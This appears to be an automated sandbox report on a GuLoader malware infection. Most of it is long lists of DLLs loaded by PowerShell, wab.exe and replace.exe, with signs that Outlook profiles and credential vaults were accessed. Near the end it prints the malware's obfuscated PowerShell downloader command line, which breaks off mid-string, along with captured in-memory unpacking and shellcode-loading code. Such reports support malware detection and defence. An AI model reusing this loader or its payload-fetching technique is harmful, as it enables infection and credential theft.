Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: actxprxy.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe File opened: C:\Windows\SysWOW64\msftedit.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000005.00000002.1921609089.0000000007489000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbZ source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1921609089.0000000007390000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: replace.pdb source: wab.exe, 0000000C.00000003.2218166538.0000000008A61000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000005.00000002.1913857979.0000000000CC2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tem.Core.pdb source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: replace.pdbGCTL source: wab.exe, 0000000C.00000003.2218166538.0000000008A61000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: wab.exe, 0000000C.00000002.2286364866.0000000024690000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, wab.exe, 0000000C.00000002.2286364866.0000000024690000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: stem.Core.pdbS] source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: .Run("POWERSHELL "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnter", "0")
Yara detected GuLoader
Source: Yara match File source: 00000005.00000002.1925873390.00000000091BB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1925751155.0000000008790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1919062447.0000000005DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2333966169.000002B347A73000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Daarekisten113)$global:Culturology = [System.Text.Encoding]::ASCII.GetString($Analogies)$global:Spermatozoic=$Culturology.substring(328933,28828)<#Vendable Magnetoplasmadynamics Ghai
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Fastlandssoklerne235 $Nbenes $Grundfladernes), (Aperitiffer @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Trihedra = [AppDomain]::CurrentDomain.GetAssemb
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Afficerendes)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Februaraften, $false).DefineType($udblokke,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Daarekisten113)$global:Culturology = [System.Text.Encoding]::ASCII.GetString($Analogies)$global:Spermatozoic=$Culturology.substring(328933,28828)<#Vendable Magnetoplasmadynamics Ghai
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh 